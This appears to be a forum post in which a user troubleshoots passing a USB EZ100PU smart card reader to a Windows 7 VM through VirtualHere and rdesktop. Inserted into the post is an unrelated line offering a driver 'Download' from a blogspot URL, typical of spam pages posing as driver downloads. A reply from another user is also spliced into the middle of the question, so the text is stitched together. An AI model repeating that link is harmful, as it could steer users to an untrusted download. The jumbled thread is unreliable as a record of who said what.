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Hi,
I have tried (trial version) your software to share an USB Digicom card reader model EZ100PU in rdesktop.
This because one of our customers has a QNAP Nas and I want try your software before installing it in the Nas.

Ez100pu Smart Card Reader
Download https://dempdomexku.blogspot.com/?download=2wJaJP



I have installed the trial version of vhuit64 on an Ubuntu 16.04 LTS system.
In the client, a VirtualBox vm with Windows 7 64 bit, I have installed the drivers of the card reader and your client vhui64.exe

If I start the server on Ubuntu (sudo ./vhusbdx86_64 -b) and the client on Windows 7, I can see all the USB devices that I have tested but NOT the card reader.
I connect to the vm with "rdesktop -u annalisa -p xxxx 192.168.1.132" but the USB hardware is not seen.
I do the test with the "Smart Card Reader Self Testing Program v.2.2" (EZPUChk.exe), I can't see the card reader.

If I install on Ubuntu the card reader driver 8E4479_LinuxEzUsb.tar.gz, and also pcscd, pcsc-tools, libacsccid1 and opensc, and I do
rdesktop -u annalisa -p xxxx -r scard 192.168.1.132
I can see the card reader, the card inserted and all works fine.

The hint, that you connect with rdesktop is the root cause.
Since years I know about this "feature" of Windows remote desktop connections, that smard card readers are dropped at time of RDC connect.
I'm using a lot of VMs without direct desktop nor USB hubs. The USB devices are passed through Digi USBAnywhere or VirtualHere



Also, if I connect the card reader to the hardware that is hosting the VM and connect to it from the menu of VirtualBox, all work fine with a simple
rdesktop -u annalisa -p xxxx 192.168.1.132
But I don't want use the USB of the vm server.

If I run on the client (Ubuntu) the VirtualHere vhusbdx86_64 server (and connect to the client hardware the card reader) and on the Windows 7 VM the VirtualHere client, I can see the card reader but I can't communicate with it.

Two question, for your experience:
- you say that you use Digi USBAnywhere or VirtualHere: do you think that can change something if I install on QNAP the VirtualHere server (and put my USB card reader on QNAP) or the vhusbdx86_64 is the same?
- do you think that, as in the real scenario, if the Windows 7 VM run on an Ubuntu host, can change something?
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